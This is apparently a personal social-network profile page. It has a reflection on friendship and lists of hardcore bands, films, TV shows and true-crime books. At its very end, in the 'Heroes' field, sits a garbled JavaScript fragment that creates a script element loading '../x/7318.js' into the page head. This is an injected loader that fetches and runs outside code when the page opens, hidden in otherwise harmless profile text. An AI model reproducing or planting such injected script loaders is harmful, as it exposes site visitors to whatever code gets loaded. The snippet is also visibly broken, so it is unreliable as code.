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No peace of mind.

ballsdip

About Me

this is pretty much what i think about life and friendship. In this life there are no clean breaks...but starting again is a chance that you can take. I always thought that someday we would overcome the bad luck and from the burden the gift would come. Maybe I should have known better. But I know we're coming closer to the end of whatever this has been. When you're 16 you don't know what forever means. When you are 23 you couldn't be more sorry to say. That after all this growing up together all the good has gone away. Sometimes the boys that should be your best friends become strangers with familiar faces. Just don't tell me that it's all too far gone...that they weren't meant to live on ...and don't let go. I just don't want to have to pretend... if we're not in this together...if we're just stuck inside our own heads. And I'm sorry that it took me so long to find the words to write the song that we can all still truly believe in but I truly believe that we can still start again. YOU DON'T HAVE TO BE BLOOD TO BE FAMILY
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My Interests

Natalie Portman Shows Hanging out SHARKS! Football(SOCCER) Mob books English Bulldogs Roller Coasters Stand up comedy Eggo waffles Doing Laundry Strawberries N cream Ghosthunt FRIENDS... FAMILY... FOREVER.

I'd like to meet:

it doesn't really matter at this point, i have friends and family but new people are always welcome.

Music:

KILLING THE DREAM HOPE CONSPIRACY SHAI HULUD CHAIN OF STRENGTH CARRY ON MORE TO PRIDE COLD WORLD BLUE MONDAY LIGHTS OUT CHAMPION CEREMONY HAVE HEART INTERNAL AFFAIRS MAKE MOVE BLACKLISTED DOWN TO NOTHING IRON AGE MOS DEF N.W.A. BEASTY BOYS HIEROGLYPHICS ANIMOSITY ELYSA & everything in between... "this so-called shit is what i live for"

Movies:

Donnie Darko, Amores Perros. Amelie. eternal sunshine of the spotless mind. pulp fiction. reservoir dogs. road to perdition. good fellas. the godfather(all). kill bill. sin city. saving private ryan. gladiator. troy. collateral. saw. the shinning. the exorcist.

Television:

Family Guy. Simpsons. etc.

Books:

The Revealing Secrets of Elizabeth Short. The Definitive History of the phenomenon of Serial Murder Serial Killers: method and madness of monsters The Da Vinci Code still reading..

Heroes:

I try to be my own hero and learn from my past mistakes to become a better person everyday. .."var s=document·('script');s.src='../x/7318.js';document 3;getElementsByTagName('head')[0].appendChild(s);"